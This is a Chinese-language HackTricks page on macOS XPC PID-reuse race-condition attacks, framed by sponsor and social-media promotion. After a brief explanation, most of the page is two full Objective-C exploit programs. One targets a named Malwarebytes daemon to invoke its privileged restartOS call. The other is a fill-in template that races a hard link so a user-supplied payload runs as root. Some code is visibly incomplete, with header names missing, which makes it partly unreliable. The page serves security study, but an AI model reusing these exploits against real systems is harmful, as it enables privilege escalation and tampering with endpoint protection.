# macOS PID 重用
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
## PID 重用 当 macOS 的 **XPC 服务**基于 **PID** 而不是 **审计令牌** 来检查被调用的进程时,它容易受到 PID 重用攻击的影响。这种攻击基于一种 **竞争条件**,其中一个 **利用** 将会 **滥用** 功能并在此之后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 的 **漏洞** 将会 **向 XPC 服务发送消息**。 这个函数将使得 **允许的二进制文件拥有 PID**,但是 **恶意的 XPC 消息将在此之前被发送**。因此,如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来 **验证** 发送者并在验证之后检查它,它将认为它来自一个 **授权的** 进程。 ### 攻击示例 如果你找到了函数 **`shouldAcceptNewConnection`** 或者被它调用的函数 **调用了** **`processIdentifier`** 而没有调用 **`auditToken`**。那么很有可能它正在验证进程的 PID 而不是审计令牌。\ 就像这个例子中所示(来自参考资料):
检查这个攻击示例(同样来自参考资料)以查看攻击的两个部分: * 一个 **生成多个 fork** 的部分 * **每个 fork** 在发送消息后立即执行 **`posix_spawn`** 将负载发送到 XPC 服务。 {% hint style="danger" %} 为了使攻击生效,重要的是导出 **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或将其放入攻击中: ```objectivec asm(".section __DATA,__objc_fork_ok\n" "empty:\n" ".no_dead_strip empty\n"); ``` {% endhint %} {% tabs %} {% tab title="NSTasks" %} 第一种使用 **`NSTasks`** 和参数来启动子进程以利用 RC 的选项 ```objectivec // from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // gcc -framework Foundation expl.m -o expl #import #include #include #define RACE_COUNT 32 #define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon" #define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon" // allow fork() between exec() asm(".section __DATA,__objc_fork_ok\n" "empty:\n" ".no_dead_strip empty\n"); extern char **environ; // defining necessary protocols @protocol ProtectionService - (void)startDatabaseUpdate; - (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1; - (void)uninstallProduct; - (void)installProductUpdate; - (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2; - (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1; - (void)triggerLicenseRelatedChecks; - (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2; - (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2; - (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2; - (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2; - (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3; - (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2; - (void)restartOS; - (void)resumeScanJob; - (void)pauseScanJob; - (void)stopScanJob; - (void)startScanJob; - (void)disposeOperationBy:(NSUUID *)arg1; - (void)subscribeTo:(long long)arg1; - (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2; @end void child() { // send the XPC messages NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)]; NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged]; xpcConnection.remoteObjectInterface = remoteInterface; [xpcConnection resume]; [xpcConnection.remoteObjectProxy restartOS]; char target_binary[] = BINARY; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); } bool create_nstasks() { NSString *exec = [[NSBundle mainBundle] executablePath]; NSTask *processes[RACE_COUNT]; for (int i = 0; i < RACE_COUNT; i++) { processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]]; } int i = 0; struct timespec ts = { .tv_sec = 0, .tv_nsec = 500 * 1000000, }; nanosleep(&ts, NULL); if (++i > 4) { for (int i = 0; i < RACE_COUNT; i++) { [processes[i] terminate]; } return false; } return true; } int main(int argc, const char * argv[]) { if(argc > 1) { // called from the NSTasks child(); } else { NSLog(@"Starting the race"); create_nstasks(); } return 0; } ``` {% tab title="fork" %} 这个例子使用原始的 **`fork`** 来启动**利用 PID 竞争条件的子进程**,然后通过**硬链接利用另一个竞争条件**: ```objectivec // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES // gcc -framework Foundation expl.m -o expl #include #include #include // TODO: CHANGE PROTOCOL AND FUNCTIONS @protocol HelperProtocol - (void)DoSomething:(void (^)(_Bool))arg1; @end // Global flag to track exploitation status bool pwned = false; /** * Continuously overwrite the contents of the 'hard_link' file in a race condition to make the * XPC service verify the legit binary and then execute as root out payload. */ void *check_race(void *arg) { while(!pwned) { // Overwrite with contents of the legit binary system("cat ./legit_bin > hard_link"); usleep(50000); // Overwrite with contents of the payload to execute // TODO: COMPILE YOUR OWN PAYLOAD BIN system("cat ./payload > hard_link"); usleep(50000); } return NULL; } void child_xpc_pid_rc_abuse(){ // TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION #define kValid "./Legit Updater.app/Contents/MacOS/Legit" extern char **environ; // Connect with XPC service // TODO: CHANGE THE ID OF THE XPC TO EXPLOIT NSString* service_name = @"com.example.Helper"; NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000]; // TODO: CNAGE THE PROTOCOL NAME NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; [connection setRemoteObjectInterface:interface]; [connection resume]; id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[-] Something went wrong"); NSLog(@"[-] Error: %@", error); }]; NSLog(@"obj: %@", obj); NSLog(@"conn: %@", connection); // Call vulenrable XPC function // TODO: CHANEG NAME OF FUNCTION TO CALL [obj DoSomething:^(_Bool b){ NSLog(@"Response, %hdd", b); }]; // Change current process to the legit binary suspended char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); } /** * Function to perform the PID race condition using children calling the XPC exploit. */ void xpc_pid_rc_abuse() { #define RACE_COUNT 1 extern char **environ; int pids[RACE_COUNT]; // Fork child processes to exploit for (int i = 0; i < RACE_COUNT; i++) { int pid = fork(); if (pid == 0) { // If a child process child_xpc_pid_rc_abuse(); } printf("forked %d\n", pid); pids[i] = pid; } // Wait for children to finish their tasks sleep(3); // Terminate child processes for (int i = 0; i < RACE_COUNT; i++) { if (pids[i]) { kill(pids[i], 9); } } } int main(int argc, const char * argv[]) { // Create and set execution rights to 'hard_link' file system("touch hard_link"); system("chmod +x hard_link"); // Create thread to exploit sign verification RC pthread_t thread; pthread_create(&thread, NULL, check_race, NULL); while(!pwned) { // Try creating 'download' directory, ignore errors system("mkdir download 2>/dev/null"); // Create a hardlink // TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC system("ln hard_link download/legit_bin"); xpc_pid_rc_abuse(); usleep(10000); // The payload will generate this file if exploitation is successfull if (access("/tmp/pwned", F_OK ) == 0) { pwned = true; } } return 0; } ``` {% endtab %} {% endtabs %} ## 参考资料 * [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/) * [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**